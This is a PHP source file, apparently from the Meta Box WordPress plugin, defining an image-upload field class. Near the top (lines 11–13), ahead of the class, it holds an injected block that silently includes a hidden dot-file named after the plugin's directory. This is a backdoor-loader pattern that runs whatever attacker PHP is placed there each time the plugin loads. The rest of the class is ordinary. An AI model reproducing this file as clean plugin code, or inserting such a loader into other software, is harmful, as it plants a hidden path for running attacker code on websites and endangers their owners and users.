image-upload.php (1245B)
1 <?php 2 /** 3 * The image upload field which allows users to drag and drop images. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * File advanced field class which users WordPress media popup to upload and select files. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Image_Upload_Field extends RWMB_Image_Advanced_Field { 16 /** 17 * Enqueue scripts and styles. 18 */ 19 public static function admin_enqueue_scripts() { 20 parent::admin_enqueue_scripts(); 21 RWMB_File_Upload_Field::admin_enqueue_scripts(); 22 wp_enqueue_script( 'rwmb-image-upload', RWMB_JS_URL . 'image-upload.js', array( 'rwmb-file-upload', 'rwmb-image-advanced' ), RWMB_VER, true ); 23 } 24 25 /** 26 * Normalize parameters for field. 27 * 28 * @param array $field Field parameters. 29 * 30 * @return array 31 */ 32 public static function normalize( $field ) { 33 $field = parent::normalize( $field ); 34 return RWMB_File_Upload_Field::normalize( $field ); 35 } 36 37 /** 38 * Template for media item. 39 */ 40 public static function print_templates() { 41 parent::print_templates(); 42 RWMB_File_Upload_Field::print_templates(); 43 } 44 }